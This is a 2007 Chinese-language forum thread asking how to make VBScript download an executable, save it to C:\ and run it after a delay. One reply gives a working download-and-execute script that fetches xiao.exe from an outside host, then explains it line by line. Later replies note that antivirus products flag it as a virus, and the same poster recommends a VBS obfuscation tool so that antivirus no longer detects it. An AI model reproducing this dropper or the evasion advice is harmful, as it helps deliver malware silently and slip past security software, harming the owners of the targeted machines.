|
nzisisco
初级用户
积分 107
发帖 47
注册 2007-3-3
状态 离线
|
『楼 主』:
[求助]如何用vbs下载并运行指定文件？
比如我要下载www.xxxxxx.com\1.exe 这个程序 如何用vbs下载 然后放到指定目录 比如放到c:\ 最好能够指定一个时间运行 比如60秒後运行
希望高人帮忙!
|
|
 2007-4-25 23:22 |
|
|
vkill
金牌会员
积分 4103
发帖 1744
注册 2006-1-20
来自 甘肃.临泽
状态 离线
|
『第
2 楼』:
iget.vbs
sleep
run
|
|
|
2007-4-25 23:57 |
|
|
lxmxn
版主
积分 11386
发帖 4938
注册 2006-7-23
状态 离线
|
『第
3 楼』:
楼上已经给出了提示，楼主不妨按照楼上的提示，搜索一下论坛，尝试自己解决一下问题，对你提高很有好处的。
|
|
|
2007-4-26 01:41 |
|
|
fengzi
中级用户
金牌会员
积分 315
发帖 152
注册 2007-1-25
状态 离线
|
『第
4 楼』:
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2
wscript.sleep 10000
Shell.Run ("c:\xiao.exe") '延迟过后执行下载文件
好象要被卡吧杀``NOD32都不会杀滴```
|
|
|
2007-4-26 02:08 |
|
|
nzisisco
初级用户
积分 107
发帖 47
注册 2007-3-3
状态 离线
|
『第
5 楼』:
我是对vbs一点都不了解 2楼虽然给出了关键字 但是还是有难度......
4楼的我看不太懂你写的什么意思 能解释一下吗 不好意思 我比较笨 麻烦大家了哈
|
|
|
2007-4-26 02:48 |
|
|
fengzi
中级用户
金牌会员
积分 315
发帖 152
注册 2007-1-25
状态 离线
|
『第
6 楼』:
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0 ：这里是要下的东西的地址
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 保存位置
wscript.sleep 10000 延时
Shell.Run ("c:\xiao.exe") 执行
|
|
|
2007-4-26 02:58 |
|
|
zhoushijay
高级用户
Autowalk
积分 845
发帖 375
注册 2007-3-3
状态 离线
|
『第
7 楼』:
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Set Shell = CreateObject("scripting.filesystemobject")
还有哪些对象啊？这些对象下面又有些什么属性和方法，谁有这方面的资料啊？
|
|
|
2007-4-27 02:45 |
|
|
Vampire
初级用户
积分 176
发帖 78
注册 2007-4-15
状态 离线
|
『第
8 楼』:
| Quote: | Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://danshenhan.mm9mm.com/xiao.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "c:\xiao.exe",2 |
|
这段代码被瑞星认为病毒……杀之而后快。呵呵。
|
|
|
2007-4-27 03:14 |
|
|
kk11440
新手上路
积分 2
发帖 1
注册 2007-5-23
状态 离线
|
『第
9 楼』:
因为疯子哥哥```等于说小波同志没对这段vbs段码进行加密.加了密过后过所有的杀软
|
|
|
2007-5-23 21:29 |
|
|
fengzi
中级用户
金牌会员
积分 315
发帖 152
注册 2007-1-25
状态 离线
|
『第
10 楼』:
| Quote: | Originally posted by Vampire at 2007-4-27 03:14 AM:
这段代码被瑞星认为病毒……杀之而后快。呵呵。 |
|
这个用VBS加密工具加密后就可以了`
baomaboy做了个加密/解密VBS脚本(简易免杀版)1.1
http://www.cn-dos.net/forum/view ... 1&highlight=1.1`
这个加密后杀软基本上不会报毒了``
[ Last edited by fengzi on 2007-5-24 at 04:38 AM ]
|
|
|
2007-5-23 22:46 |
|
